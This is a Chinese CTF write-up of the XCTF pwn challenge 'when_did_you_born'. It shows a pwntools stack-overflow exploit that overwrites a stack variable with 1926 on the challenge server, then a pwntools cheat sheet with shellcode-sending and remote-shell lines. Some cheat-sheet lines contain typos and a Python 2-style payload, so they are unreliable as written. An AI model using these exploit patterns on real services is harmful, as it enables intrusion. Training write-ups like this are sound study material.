xctf-when_did_you_born
题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051
checksec文件:
没啥,ida打开:
第一个判断v5应该不等于1926,第二次判断应该等于1926,看到v4,双击进入,可以查看到v5和v4都是同一stack下的,用v4覆盖v5的位置,实现第二个判断为1926。
在最上面定义可以看到,相对偏移为8。
构造exp:
from pwn import * #cnn = process('./when_did_you_born') cnn = remote('111.198.29.45',33487) payload = 'a'*8+p64(1926) cnn.recvuntil('Your Birth?') cnn.sendline('1926') cnn.sendline(payload) cnn.interactive()
运行一下,可以得到flag:
总结:唔。。。这是昨天的升级版。
额外小知识:
# Pwntools环境预设 from pwn import * context.arch = "amd64/i386" #指定系统架构 context.terminal = ["tmux,"splitw","-h"] #指定分屏终端 context.os = "linux" #context用于预设环境 # 库信息 elf = ELF('./PWNME') # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息 libc = ELF('lib/i386-linux-gnu/libc-2.23.so') # 载入libc的库,可以通过vmmap查看 /* 首先使用ELF()获取文件的句柄,然后使用这个句柄调用函数,如 >>> e = ELF('/bin/cat') >>> print hex(e.address) # 文件装载的基地址 >>> print hex(e.symbols['write']) # plt中write函数地址 >>> print hex(e.got['write']) # GOT表中write符号的地址 >>> print hex(e.plt['write']) # PLT表中write符号的地址 */ # Pwntools通信 p = process('./pwnme') # 本地 process与程序交互 r = remote('exploitme.example.com',3333) # 远程 # 交互 recv() # 接收数据,一直接收 recv(numb=4096,timeout=default) # 指定接收字节数与超时时间 recvuntil("111") # 接收到111结束,可以裁剪,如.[1:4] recbline() # 接收到换行结束 recvline(n) # 接收到n个换行结束 recvall() # 接收到EOF recvrepeat(timeout=default) #接收到EOF或timeout send(data) # 发送数据 sendline(data) # 发送一行数据,在末尾会加\n sendlineafter(delims,data) # 在程序接收到delims再发送data r.send(asm(shellcraft.sh())) # 信息通信交互 r.interactive() # send payload后接收当前的shell # 字符串与地址的转换 p64(),p32() #将字符串转化为ascii字节流 u64(),u32() #将ascii的字节流解包为字符串地址